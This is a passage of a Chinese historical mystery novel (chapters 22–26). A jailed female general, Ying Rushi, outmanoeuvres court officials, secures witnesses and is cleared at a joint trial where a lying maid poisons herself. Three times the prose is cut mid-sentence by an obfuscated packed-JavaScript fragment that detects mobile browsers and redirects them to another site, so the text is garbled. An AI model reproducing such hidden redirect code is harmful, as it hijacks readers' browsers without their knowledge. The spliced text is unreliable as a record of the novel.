“若是我没有算错的话，今日便是期限的最后一天，所以你才会如此着急地想要结案。”应如是一脸了然地看向他。 “那又如何？”薛茗没有被揭穿后的慌乱，反倒是一脸坦然地反问道，“证据确凿，难道你还想翻案不成？” “若我说是呢？”应如是一双凤目紧盯着他质问道，“如此轰动京师的一桩重案，嫌犯刚被抓住就死在狱中，留下一张不清不楚的血书指认当朝二品将军。薛大人，难道你就不觉得其中有不妥之处吗？” “有何不妥？” “很明显，这是有人精心设下的一个局。童谣案是这个局的开始，先是让陛下对我起疑，为之后的孩童被杀案埋下伏笔，然而这个局不仅仅只是针对我，幕后之人所图甚大，童谣案最后牵连到的可是国子监，很难不怀疑这是某一方势力在利用此案清除异己。身为大理寺卿，薛大人平日里得罪的人应该不少吧？那可要当心了，好好想想于他们而言，你是友是敌？”应如是分析道。 她虽然表面上看起来云淡风轻，但心中也是忐忑不安。虽不清楚薛茗的想法，但现在唯一能做的便是让他看清局势，在他心中埋在一颗不安的种子，或许能博取一线生机。 兵法有言：上兵伐谋，其次伐交，其次伐兵，其下攻城。这一场生死博弈，只在薛茗的一念之间。 应、薛二人无声对峙着，气氛一下子到了剑拔弩张的地步。 然而，在所有人都心弦绷紧之时，薛茗忽然冒出了一句没来由的话：“我们是不是曾经见过？” 应如是不自然地扭过头去，苦笑道：“薛大人，都这个时候了，就不要和我套近乎了吧？” “你待如何？”薛茗问道。 应如是露出一个狡黠的笑容：“不如我们谈个交易？” 23. 第二十三章 自应如是被大理寺捉拿后已经过去两天时间，虽然期间或多或少听到她的消息，知道她暂时无事，但伴随着国子监动乱以及即将到来的结案陈述，明心始终心怀隐忧。 这天夜里，他忽然收到一封信，信是大理寺的人送来的，内容是应如是写的。 这封信写得很长，他看了许久，直到看完最后一个字，心中悬着的石头才终于落了下来。 云川倚在门边，望着自家公子被一封信牵动起的万千情绪，心中好像明白了什么。 “云川，明日随我出门一趟。”明心收好信后说道。 云川还陷在无尽的幻想中，冷不防被明心喊了一声，神情有些呆滞。 “心不在焉的，在想什么？” “在想公子还是以前的公子吗？” “……” 翌日一大早，二人便出了门。据应如是信中所说，现有两个人能证明她的清白，只是其中一个人遇到点麻烦，需要他的帮助。 二人来到德馨堂，德馨堂的掌柜罗元清是京中有名的商户。这家德馨堂从他祖上就开始经营，传到他这里已是第三代，虽然日渐破落，生意也大不如前，但依旧有很多老顾客光临。 罗元清此人，明心不甚了解，但从云川探听的消息中可知，他脾气古怪，做事向来循规蹈矩、不知变通，几乎到了常人难以忍受的地步。 就拿进货来说，一般书铺会以累计售出量作为参考，来安排进货的多寡。但罗元清不是，他每年总是在固定的时间，以固定的数量购入一批书，这样难免会出现时兴书籍供不应求，而冷门书籍积压过多的情况。 奇怪的是，这么多年下来，就算店铺一度经营困难，他依旧不改这种模式。世人都说他缺心眼，没有经商头脑，书铺在他这一代怕是要维持不下去了。 明心在书铺中转了一圈，意外发现了很多他之前未曾寻到的古书以及一些手抄孤本，这些书大多艰深晦涩，鲜少有人翻阅，被搁置在不起眼的角落，年复一年无人问津。所以，当明心把它们当作宝贝一般捧去结账之时，罗元清难免多看了他几眼。 “店家，可否借一步说话？”明心有礼道。 罗元清将二人请到里屋，问道：“客人有何事相商？” “在下明心，是外地来的商客，路过阁下的这间书铺，觉得甚是合眼缘，欲出资买下，不知店家是否愿意出让？” 罗元清一听，脸色瞬间冷了下来：“这店铺是我家祖传的，纵使千金也不卖，客人还是死了这条心吧。” “可是在下瞧这铺子里往来的人不多，怕是经营不易吧？”明心继续劝说道，“不如早日转手，还能卖个好价钱。” “你这人看着斯文，怎的如此蛮不讲理？我说了不卖就是不卖，即便哪一天歇业了，也与你无关。”罗元清气得差点要赶人了。 明心笑了笑，倒也不恼：“店家别生气，在下刚才不过是玩笑话。” 罗元清背过身去，似是不愿再搭理他：“若客人无其他事，那便请回吧。” 明心没想到他竟如此较真，只好婉言道：“是在下失礼了，给店家赔个不是。其实在下是真心想与店家谈笔交易。” 罗元清冷哼一声，不置可否。 明心接着道：“由在下出资盘下这间店铺，在下只做个甩手掌柜，日常管理等经营权还归店家，一年下来若有盈余，只需分出两成利给在下；若是亏损，一切损失由在下承担。店家以为如何？” 云川在一旁帮衬道：“这可是笔稳赚不赔的买卖，你可要想清楚，过了这村就没这店了。” 罗元清久久不语，他的背脊绷得笔直，像是一棵永不弯折的老松。 “为何要这么做？”他转过身来，神色复杂地看着他。 “那店家又为何如此？”明心的目光深邃悠远，似乎能洞察人心，“在下看店家不像是愚笨之人，世道艰难，为了活下去，世人不断变通以寻求新的机遇。店家苦心坚守多年究竟为哪般？” 不知是哪句话戳中他的内心，罗元清听后极为动容，他走至窗前，看着窗外街道上人来人往，神思渐渐飘远。 尘封的旧事忽而在眼前铺成开来，一时间竟让他有些恍惚：“多年前我刚接手书铺的时候不像现在这般惨淡，那时陛下广开言路、大兴科举，涌入光昭府的学子和文人墨客不计其数，连带着我们这些书铺都沾了光。当时书铺里不仅有经史子集，还有一些文人自编自撰的书册，在京中也是盛行一时。” “在这种境况下，举办什么诗会、酒会都算过时的，他们开始将目光转向我们这些书铺。某一天，不知何人提出一个建议，将个人所撰书籍放在书铺里售卖，一个月后看售出数量的多寡，以此来评判某个人的才名。那些文人墨客中能有几个是真正的高洁之士？说到底不过都是些沽名钓誉之辈。一些书铺见其中有利可图，便在京中大肆宣扬，因而以个人名气做赌局渐成风气。” 明心见他说到此处之时，神情有些幽愤和怨憎，心中琢磨着：怕是接下来发生了什么不好的事。 果然，罗元清背后的手握紧成拳：“那一年，京中来了个秀才名唤徐修安，不仅写得一手好字，而且诗词歌赋无一不精、文谈阔论无一不能，很快他的才情传遍京师，受到无数文人的追捧。可惜他身份低微，京中无人仰仗，又不愿接受别人的资助，每日便在街边替人写信作画谋生。但若是他日参加科举，定能一举高中，走出一条风光大道……” 一声悠长的叹息，似要将憋闷许久的浊气吐出，却难荡平心中不平之意。 “我与他第一次相遇就是在这家书铺，彼时他拿着自己写的杂文评注，问我能不能放在书铺中售卖。按照惯例，若是个人典著的书籍借寄书铺，是要收取一笔酬金的，我们行内管这叫‘架子钱’。但我见他囊中羞涩，便想着做件善事，就没管他收钱。” “刚好那日，书铺来了一个衙内，一进门便言行无状，指挥着手下运来一个箱子，吵嚷着要放在书铺中售卖，还糟践了不少书铺中原有的书籍。在场之人皆是敢怒不敢言，任由他肆意妄为。唯有他一人站出来，面色不惧，仗义执言。” 明心沉默不语，心中大概也猜到了七八分，往往良善的人总是没有好下场的。 “衙内将他痛揍了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263875|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿尚不解气，忽又听手下人出了一个主意，说要与他斗才名。” 彼时，徐修安已经奄奄一息，罗元清将他搀扶起来，让他服软认错，此事便大可化小。谁料他是个硬骨头，抹干嘴角的血迹后竟然一口应下了赌约。 “那就这么说定了，一月为期，到时候输的一方就脱光上衣，举着‘我是草包’的木牌绕城一周，让所有人都看看。”衙内说完便趾高气扬地离开。 有人拿起一本衙内带来的书籍翻看，不住地摇头：“狗屁不通，满纸糟粕！” 又有人看了徐修安的文稿，评价道：“言辞犀利，见解独到，堪称佳作。公子，这场赌局必不会输。” 随后，越来越多的人应和道：“是啊公子，我们都是站在你这边的。” 罗元清也说道：“公子既然为书铺出头，惹下这等祸事，我作为书铺掌柜定不会辜负公子的恩情。” 明心看着罗元清越发悲戚的神情，仿佛已然看到了结局。 “终究是我害了他……什么才情，什么名声，在权势面前根本不值一提。”罗元清愤懑之情溢于言表，“虽然赌局不允许人为干涉，但他们暗中向各家书铺施压，将徐修安的书禁售。若是不从，他们便安排人三天两头来书铺闹事，最后连我也撑不下去了……” 罗元清一脸苦痛，回想起那天，怕是今生都难以忘怀—— 他几乎是求着徐修安，让他出城避避风头。然而，该死的礼义教条却束缚着他，逼着他去履约。 “君子岂能言而无信？”徐修安一脸决然地说道。 衙内许是觉得不够隆重，特意请了十几个乐师跟在他身后，一路敲打奏乐。如此荒诞的场景可不多见，很快便吸引了全城的百姓前来围观。 “什么才貌双全、举世无双？不过是一个只能卖三本书册的穷酸秀才，浪得虚名罢了。”不知情的人只能听信传言，嬉笑嘲讽。 在一路的议论声中，文人的尊严和傲骨被彻底碾碎，他的精神也趋于崩溃。 很难想象他是凭借着怎样的信念走完这一程的，只知道第二天他就疯了。 大街上，昔日的翩翩君子一脸痴傻样，逢人就问：“你买过我的书册吗？” “此事过后，我曾供养过他一段时间，但后来有一天，他忽然失踪了，我派人找了许久都没找到，自此便失了他的音讯。” 罗元清从云川捧着的一堆书籍中拿出一本泛黄的书册翻开，上面的字迹飘逸隽秀，可见大家风骨，扉页处留有一行小字“修己安人,止于至善”。 “罗掌柜不必自责，此事错不在你。”明心唏嘘道，“错在他生不逢时，终是这个朝代辜负了他。” “让客人见笑了，我也是很久没向他人提过此事了。”罗元清暗自在脸上抹了一把。 “店家多年的坚守也是为了弥补当年的遗憾吧？在下钦佩，愿尽绵薄之力，以全店家的一片真心。”明心言辞恳切。 “客人光临本店并非偶然吧？说吧，究竟所为何事？”罗元清一眼看穿他的目的不纯。 “店家慧眼如炬，其实在下是想请店家帮个忙。”明心说道。 24. 第二十四章 德馨堂的伙计带人来到江府，门口守备森严，需经过守卫仔细检查后才肯放行。 三人被搜完身，又被查看了随身携带的物件后终于可以入府之时，却再次被人叫住。 “等等，你们两个看着面生，之前好像没见过。”其中一人走到他们跟前，仔细打量着。 “他们是书铺前几天新雇的帮工。”德馨堂的伙计说道。 “既是新人，那便不能入府。”守卫说道。 伙计露出为难的表情：“大哥，您行行好，通融一下，你看这么多书呢，小的一个人搬也搬不动啊！” “那就不关我的事了，你自己想法子吧。”守卫语气冷硬道。 “大哥，你们站这么久也辛苦了，回头小的请你们喝酒。”伙计边说边掏出几两碎银塞进他的怀里。 守卫的态度明显有所好转，还夸赞了一句：“还是你小子有眼力见。” 三人顺利进入府中，两个帮工刚要松口气，谁知迎面又碰上一人。那人双眸如炬，一看便知道是个极其精明之人。 伙计连忙提醒二人俯下身子，又一脸笑容地招呼道：“齐总管，这些天身子可还利索？” 齐总管眼神扫了过来，目光若有若无地停留在二人身上，伙计上前几步，刚好挡住了他的视线。 齐总管的声音难掩严肃：“这才过了几天，怎么又来了？” “您有所不知，上次小姐说要看《六朝风物志》，偏生书铺缺了这本，后来罗掌柜特意托人从行商手中购得一本，怕小姐等急了，立马遣我送过来。”伙计解释道。 齐总管随手翻看了筐中的几本书，言道：“既然是小姐吩咐的事，那就不要耽搁了。” 三人安然通过，一路上遇见侍从女婢都小心翼翼地避开了，终于到达海棠苑。 海棠苑中春花未开，枝头上簪着几抹伶仃的绿意。 门口有家仆轮流看守，如同看守犯人一般。伙计向家仆说明来意后，终于进到院中。 春台坐在阶前百无聊赖地摘着草叶，见伙计出现疑道：“怎的今日就过来了？” 伙计依旧是那一套说辞，春台听完后半信半疑地敲开了江若微的房门：“小姐，德馨堂送书的人来了。” 江若微从里屋款步而来，面色看上去有些许憔悴，一袭白色广袖衣裙衬得她越发纤弱。 “今日带了什么书？”娇柔的声音问道。 “今日前来不为送书，只为解小姐之困。”其中一个帮工说道。 江若微眸中一颤：“春台，你先退下吧。” 春台虽然觉得这几人十分可疑，但无奈主子发话，只能心不甘情不愿地退下。 “你们是何人？看着有些面生。”江若微看向二人问道。 “在下明心，这位是云川，我们受应将军所托，前来找江小姐帮个忙。”明心说道。 “不知应将军近来可好？”江若微急切地问道。 “不太好。”明心直言道，“她被人诬陷入狱，如今正是紧要关头。” “怎会如此？”江若微满脸担忧，“我能做些什么吗？” “小姐可否随在下去做个证见？” “如你所见，我被困在这院中已有数日，怕是不能如你所愿了。”江若微一脸黯然。 “若是小姐愿意，在下倒是有一个法子。” 春台被支走后心中郁闷，只觉得向来温顺的小姐好像变了，变得与自己生分了许多，归根究底还是因为那个应如是。 “不行，不能就这么算了。”春台咬牙不忿地自语道。 虽然不知道那几人来找小姐做什么，但直觉告诉她肯定不是什么好事。春台仔细想了想，而后向芳华院而去。 芳华院中住着江府的女主人王毓秋，她是太尉的次女，也是江若微的母亲。 她生下江若微后不久便开始吃斋念佛，一直待在芳华院中鲜少外出，对府中事务也不过问，所以常有人私底下议论说江老爷娶了个姑子续弦。 芳华院比海棠苑还要冷清些，连侍奉的婢女都没几个，这都是夫人要求的。 春台径直去了佛堂，果然见夫人跪在佛龛前数着佛珠，诵念经文。 “春台见过夫人。”她不敢直接闯进去，只在外厅见礼。 等了好一会儿，王毓秋那边才有了动静。春台抬眼看去，只见一个刚过而立之年的妇人缓步走来。 她一身素袍，即使不施粉黛也姿容秀丽，明明正值盛年，却不知为何失了光彩，如同明珠蒙尘。 “何事惊扰？”王毓秋在案上写下几个字。 “夫人，您快去小姐那里，奴婢怀疑有人要对小姐图谋不轨。”春台急道。 王毓秋一脸错愕地看着她，春台担心再晚的话那些人都要走了，于是也不多解释，直说道：“请夫人随奴婢去一趟海棠苑，到时候自然知晓。” 王毓秋虽面带迟疑，但还是点头随她而去。 海棠苑这里一切准备就绪，江若微换上云川的衣服正要出去，便撞上匆匆赶来的王毓秋和春台。 “母亲怎会来此？”江若微看到躲在母亲身后的春台，立马朝她投去不悦的目光。 “你要出去？你可知被你父亲发现后的后果？”王毓秋手指比划着。 “母亲，女儿现下有很重要的事情必须出去一趟。若是父亲怪罪，女儿便也认了。”江若微以近乎执拗的语气说道，神情是少有的坚定和执着。 这么多年了，一向百依百顺的女儿竟有如此“血性”的一面，这让她感到欣慰的同时不免有些忧虑。良久，王毓秋才无声地说道：“你走吧。” 春台眼睁睁看着他们带着小姐离开，想要追上去却被拦下，在王毓秋的眼神示意中，她终于明白此事再无回旋的余地。 此时的海棠苑中，云川止不住地长吁短叹，他怎么也没想到公子所说的办法是让他扮成江小姐的样子待在这里混淆视听。 虽说自己尚未成年，身量与江若微看着差不多，但再怎么说自己也是个男人，也不知道公子是怎么想的。 这件薄如蝉翼的粉色纱衣穿在身上，浑身都觉得不自在，一阵冷风吹来，他忍不住打了个喷嚏。 与此同时，朝堂上再次掀起一阵波澜。 薛茗将案件调查的始末禀陈君上，只是暂时隐瞒其中关于应如是的部分案情。 朝臣百官议论不止，有人觉得唏嘘，有人感到遗憾，更多的人觉得缺了点什么—— 如此惊动京城的一桩大案就如此潦草地结束，就连罪犯都死得悄无声息的，不免让人感觉有几分违和。 除此之外，还有一些想要拿此事做文章的官员，第一个站出来便是兵部尚书孙茂。 “陛下，如此重要人犯在大理寺一夜暴毙，怕不是刑罚过重，熬刑而死？为保公正，微臣认为此案不应该再由大理寺审下去了。” 薛茗心头一动：还真被他猜中了。 景和帝看向刑部尚书许汝成：“许爱卿以为如何？” “大理寺看管人犯不力，理应被问责。微臣肯请陛下将案件交由刑部继续审理。”许汝成说道。 在景和帝下定论之前，薛茗呈上仵作的鉴定文书，进言道：“陛下容禀，人犯何大勇生前患有罕见病症，浑身长满风疹且不能见光，一直备受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304119|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折磨，在狱中自戕虽事发突然，却也在情理之中。大理寺虽然难辞其咎，但考虑到人犯留下血书已经认罪，论罪当处凌迟，既已身死，此刑便就此作罢。” “薛大人倒是择得干净。”孙茂讥讽道，“陛下明鉴，如此要案，人犯说死就死了，还留下这般含糊不清的证据，现在死无对证，怕不是有人姑息养奸，纵容真正的犯人逍遥法外？” “孙大人所言极是。”薛茗接过他的话，语气从容地说道，“陛下，微臣还有一事启奏。” 得到景和帝的应允后，他继续道：“四天前，大理寺奉命去国子监捉拿童谣案的造谣者董维，没想到竟然撞上应将军持刀杀人，被杀之人正是董维。之后，应将军被带回大理寺审讯，意外发现应将军与孩童案的凶手有着千丝万缕的联系，人犯死前留下的血书中也提及是受人蒙蔽才犯下重罪。” 按照和应如是的约定，薛茗最后抛出与他有关的案情信息，将矛头直接指向他个人。 果然，此言一出，朝堂一片哗然。 景和帝显然没想到此案还有如此转折，肃言道：“如此紧要之事你先前为何不说？” “此案事关重大，涉及朝中二品官员，微臣不敢独断，还请陛下明示。”薛茗回道。 景和帝仔细斟酌后才下令道：“既如此，那就交由刑部和大理寺共同审理，御史中丞也去听一听吧。” 事情果真如应如是预料的那般进展着，他的运气不错，甚至连结果都是他期望的最好的那个。 那日在牢中，应如是说做个交易时，他想都没想就拒绝了—— 一个疑犯竟妄想和定他生死的判官谈交易，真是此生听过的最大的笑话。 “薛大人，你先听我说完，再做定断也不迟。”应如是一脸淡定，像是有了十足的把握。 厌恶的感觉再次涌上他的心头，他语气不悦地说道：“说来听听。” “我的要求很简单的。明日早朝之时，陛下若是问起案子的进展，薛大人先不要提及与我有关的案情线索。” “你是要本官包庇你？” “怎敢如此？我的意思是我的事过后再提，先说人犯的事。”应如是解释道，“我这么做只是想为自己争取一个公正审判的机会。” “这么做于本官有何益？” “也并无坏处，不是吗？”应如是继续道，“我不会让大人白忙活的。若事情如我想的那般，朝堂上有人想对付大理寺，我倒是有个办法，或许管用。” 应如是告诉他应对之策，见他一副不以为意的样子也不气恼：“不如我们打个赌，若是被我猜中了，薛大人答应我一件事可好？” 薛茗见此人一副狡诈奸滑的嘴脸，迟迟没有松口。 “我一个阶下囚能有多大的能耐？还是说薛大人怕了？”应如是神态自若地看着他。 “就依你所言。” 退朝后，薛茗仔细回味早朝发生的事，后知后觉地发现这一切似乎全在他的算计中—— 若是大理寺遭到弹劾，这个案子必然会落到刑部那里，刑部如何审判尚未可知，但绝不会比大理寺更好，所以他要保下大理寺，并且准备了那套说辞，虽不能让大理寺完全脱罪，却能减轻一些罪责，不至于在陛下面前完全失信。 他之所以要求将自己放到最后言说，既为了体现大理寺断案的谨慎，从而博取陛下的好感，又能够引起陛下对此案的重视。经历过人犯死于狱中一事，陛下定不会放心让某一方独审，于是联审便水到渠成。 拥有这般运筹帷幄、算计人心本事的，竟是一个刚入朝堂、未及弱冠之人，薛茗不禁感到一阵后怕。 25. 第二十五章 景和帝下旨的当日，刑部尚书许汝成、御史中丞盛昌世等一行人便来到了大理寺。 应如是久困狱中，终于得见天日，见御史中丞坐于堂前，其余两位官员分坐两侧，悬了许久的心终于有了着落。 薛茗陈述案情以及调查进展，加之合理推断，三司推事由此开始。 许汝成首先开始讯问：“对于杀害国子监生董维一事，你有何辩解？” 应如是反问道：“有何证据证明？” “当时诚性堂只有你和董维二人，董维死在你面前，你手中还握着杀人的匕首，国子监监生皆可作为人证。” “首先，虽有人证，但并没有人亲眼目睹我杀害董维的全过程，只是董维死之时，我恰好在他身边；其次，匕首是凶器，那请问大人，这匕首从何而来可有调查过？我常年佩刀，这种短刃的兵器我向来不用。若我要杀人直接拔刀即可，何必多此一举特意买一柄新的不趁手的匕首去犯案？若匕首非我所有，那只可能是死者董维的，先不说一个监生随身携带匕首这件事有违常理，但至少能排除我蓄意谋杀的可能。” “巧言令色！匕首的事暂且不说，现场并无第三人，那你说说如果董维不是你杀的，还能是谁？” “董维……他是自尽的。”应如是脸上尽是遗憾。 “他为何要如此做？” “受人胁迫，被逼无奈，走投无路。”应如是直言不讳地说道，“国子监内存在一股黑恶势力，他们仗势欺人，鱼肉同窗，此事国子监的大人们已经向圣上禀明。” 沈清识进宫后，刘舞起第一时间跑来告知她，虽然早已料到他会这么做，但结果怕不会如人所愿，陛下迟迟未做决断便是最好的证明。 许汝成沉思了片刻，似乎在寻找她话中的漏洞，但显然一时半会儿很难找到：“虽然你说的有些道理，但是他为何要在你面前自尽？” “为了嫁祸。”应如是笃定道，“这是一场阴谋。从童谣案开始，先是让董维散播谣言，然后将唱过童谣的孩童杀害，最后将所有事情引到我的身上，让人觉得我是因为畏惧或是恼羞成怒而杀人灭口。但他们没想到的是，我找到了董维，还让他写下认罪书，所以我杀害董维的理由就不成立。” 认罪书之前已经上交给大理寺，许汝成看了一眼，并未说什么。 “下官已经讯问完毕，不知盛大人有何见教？”许汝成问道。 盛昌世此人，应如是与他有过几面之缘，只知道他是盛贵妃之父，其它一无所知。 但就应如是的感觉来说，这个外表平平无奇的中年男人，不似他女儿那般，倒是个内敛之人。“玉佩的事情作何解释？”盛昌世问道，“就算董维非你所杀，但残害孩童的凶手何大勇曾是你的一名部下，且血书留下的线索直接指向你，这难道也是巧合吗？” “关于玉佩一事，请大人宣人证前来。”应如是说道。 不一会儿，侍卫领着江若微、杨展来到堂下。 “这两位可证明玉佩实乃栽赃陷害之物，请诸位大人允许我自证清白。”应如是请求道。 盛昌世见其余两人并不反对，于是发话道：“准！” 应如是取来玉佩，放在江若微面前，问道：“你是何人？这块玉佩可曾见过？” 江若微不卑不亢地答道：“小女江若微，是礼部尚书江明渊之女，也是这块玉佩原来的主人。” “你可认仔细了？确定这块玉佩之前为你所有吗？”应如是再次问道。 江若微接过玉佩又仔细查看了一遍，回道：“确是小女之物，此玉佩乃我母亲赠与我的及笄之礼，后来为答谢将军救命之恩，便将此物赠与将军。” 应如是再问道：“江姑娘还记得何时将玉佩赠与我？” “记得，到今天是刚好是第十日。” 应如是见堂上三个人神色都有些诧异，嘴角微微勾起，走到杨展面前继续问道：“杨捕快，别来无恙，可还记得我？” “那是自然。”杨展恭敬地回答道，“那日将军来衙门报案，卑职还觉得奇怪，堂堂一个将军竟然亲自前来。” “我那天因何事报案，杨捕快可还清楚？” “将军说在街上丢了一块极贵重的玉佩，怀疑是被人偷了，让衙门帮忙找寻。”杨展说道。 “可有凭证？” 杨展从怀中拿出两张纸呈上去：“事关将军爱物，卑职不敢怠慢，于是将此事上报少尹魏大人登记留案，凭借将军画下的窃贼的长相以及玉佩的样式，卑职一直带人四处打听，但至今未有任何线索。” 三人传阅了一番。第一张纸上画的是一个长相略显阴郁的书生，第二张上则是一块玉佩，与作为证物的玉佩别无二致。 应如是陈述道：“由此可见，从何大勇家中搜出的玉佩与此案毫无关系，是有人故意将玉佩放在那里，误导案情调查。不知大人可否将指认玉佩的人传来问话？” 得到三位大人的同意后不久，一个女人灰头土脸地被押送过来，侍卫上前禀报道：“此女一见到我们便要逃跑，被我们抓住了。” 应如是看着面前跪在地上瑟瑟发抖的少女感觉有些面熟，想了许久才隐约有些印象：她好像是刘舞起房中负责日常清扫的女使。 “奴婢阿丛拜见各位大人。”她伏在地上，一直不敢抬头。 “见到官差，为何要逃？”薛茗不怒自威。 应如是的目光不由地落在她身上，见她一身青灰色窄袖棉袍，腰系鹅黄色腹围，双垂丫鬟髻挂在脑后。 她也才不过碧玉年华，哪里见过这么大阵仗，当下便吓破了胆，连话都说不清了。 应如是见状，再次请求道：“大人，可否让我问她几句？” 见三人都没有意见，应如是扶她起身问道：“你是何时入的府？” “将军未入府前就在了。”阿丛答道。 看来还是府中老人。只是像她这样的奸细，府内还有多少人？应如是光是想想就觉得毛骨悚然。 “为何要诬陷我？” “奴婢哪有胆子敢诬陷将军？”阿丛立马反驳道，样子倒不像是说谎。 “那你说说玉佩是什么样的？” “两条鱼还有一朵莲花。”阿丛见应如是手中拿着的玉佩，立马指认道，“就是这块。” 应如是将玉佩放在她手中：“确定吗？” 阿丛的语气极为肯定：“没错。” 话音刚落，几乎所有人的目光都集中在她身上，带着审视的意味。 阿丛也意识到了不对，结巴地反问道：“怎么了？” “大胆婢子，竟然公然作伪，你当大理寺是何处，容得你这般放肆？”薛茗怒斥道。 阿丛一脸茫然，显然还不知道自己哪里漏了马脚。 “你再看看这块玉佩。”应如是取来另一块。 两块相似的玉佩摆在她眼前，她瞬间傻了眼。 “你刚刚指认的玉佩一直在我这里。”应如是见她神情逐渐颓丧，继续说道，“两块玉佩不仔细看确实看不出差别，但在凶手家中搜出的那块玉佩是双鱼戏莲配，而我随身佩戴的这块是双鱼莲纹配，一个是莲花居于其间，另一个则是莲花将两条鱼包住。” 阿丛哑口无言，但应如是并未就此放过她。 “就算这块玉佩真被谁偷了去，作为我‘教唆杀人’的罪证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311695|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我依旧有理可辩。”应如是的语气陡然变冷，“阿丛，你也太不了解我了，或者说你背后之人也太小看我了。我入京之时并未携带任何佩饰，府内一应物件全是蒋管家负责采办的，包括这块玉佩。像玉佩这类东西多半是从东市的玲珑阁购来的，虽然看着精美华贵，但并非孤品。” 说到此处，应如是转身看向三人：“大人若是不信，可传唤玲珑阁的李掌柜前来一问。” 阿丛身子一歪，眼中彻底失去了光彩。 “说吧，是谁让你作证的？”应如是厉声问道。 阿丛脸上忽然露出一丝诡异的笑容，应如是心中暗叫不好，还没来得及上前阻止，就见一股黑血从她的嘴边蜿蜒而下。 “快传大夫！”应如是急忙抱住她倾倒的身体，用手指抠进她的嘴里，试图将药丸取出来。 然而，阿丛却转头避开她的手，一把揪着她的衣领，一边流着泪，一边凑到她耳边断断续续地说着，“对不起，将军，奴婢也是没有办法，这般死了也好……” 话还没说完，她忽然睁大双眼，抓挠了几下脖子后便没了气。突如其来的变故让在场所有人都愕然不已，最后只能安排仵作前来验尸。 应如是低着头，没人能看到她此刻的神情，只是一双手攥得很紧，隐隐沁出了血痕。 “大人，事已至此，不知我的嫌疑是否已经洗清？”应如是的语气是一反常态的平静，平静得令人窒息。如同置于炭炉上的水，先时不惊，但顷刻鼎沸。 堂上三人商讨了片刻，最后由御史中丞宣读了审判结果。结果是显而易见的：证据不足，应如是不能被定罪。 只是折腾了这么久，幕后之人依旧藏于暗处，未显露半分。 案子审完后，人潮退去，最后只剩下应如是和江若微两人。 江若微犹豫了片刻，还是忍不住喊了声“应将军”。 “江小姐大恩，在下感激不尽。”应如是躬身一拜。 “你这是做什么？”江若微有些着急，“将军的救命之恩还未曾报答，如今将军有难，妾岂能坐视不管？不过举手之劳，将军万不可行如此大礼。” “还请江小姐保重自身，不要再为我冒险了。”应如是的话语中透着一丝淡漠。 经历过董维自杀的、阿丛服毒后，她才终于看清：在这个权势大过天的世道，无权无势的小人物只能如同蝼蚁般苟活着，一不小心便会被碾死。 她本想利用江若微接近江府调查母亲之死，但现在的她可能做不到了。 江若微的眼眶瞬间红了，一脸的不可置信，满腔的委屈化作盈盈泪水倔强地不肯流下。 应如是别过头去，只当没看见，出了大理寺。 大理寺外，刘舞起已经等候多时，一见到应如是出现，便立马迎了上去。 “没事吧？他们没有为难你吧……”刘舞起又开始念叨。 应如是现在没心思听她说这些，应付了几句便朝着明心走去。 明心停在一辆马车旁也在等人，但目光一直萦绕在应如是的身上。 “这次的事情，多谢。”应如是拱手道谢，“还请将江姑娘好生送回去。” 江若微就在她身后不远处，听到这句话后越发难过，心碎的样子连刘舞起都不忍再看。 应如是仿佛失了魂，一个人走向繁华的街道，来来往往的人从她身边经过，皆如虚幻的泡影般，让她看不真切。 寒意不知从何而来，瞬间传遍全身，让她不住地颤抖起来。过了很久，她才意识到这是早已被她遗忘的恐惧—— 相比战场上的刀剑无情、九死一生，这种杀人无形的阴谋诡计更让人如坠冰窟。 26. 第二十六章 应如是回到府中做的第一件事便是去寻找阿丛的住处，据蒋管家所说，府里的下人们都住在同一个院子里，中间以一墙隔开，南边是婢女的住所，北边是厮役的住所。 一床灰色褥被、几件针脚齐整的衣服便是阿丛全部的家当。 应如是依照阿丛临终所言，顺利找到床头的暗格，里面藏有一幅画像、一个账本、一封书信和一些碎银。 画像上画的是两个女子依偎在花丛间巧笑倩兮，其中一人能看出是阿丛的模样，而另一个女子…… 应如是的眼眸倏尔震颤不止，女子秀美的容颜清晰地映在了她的瞳孔中，而她脸上的神情也从原先的惊讶变成顿悟，所有的一切似乎都联系起来了。 另一名女子她也曾见过，在赴仙楼那晚意图“玷污”自己的女子便是她。虽然她的模样与画中的有些出入，但是嘴角的一颗痣却让人印象深刻。 应如是翻开账本，里面详细记载着这些年阿丛攒下的每一笔钱，从帮人浆洗衣物到替人挑水送炭，什么脏活累活都做过，所有的钱都是为了给姐姐赎身。 而那封信更耐人寻味，上面没有落款，纸张都已泛黄，显然不是近些时日的，上面还沾了一些可疑的水渍。 信中所述：近来一切安好。想来你我分离良久，情同陌路之人，今我已攀上高枝，非昔日燕雀可比，望山长水远，各自珍重。 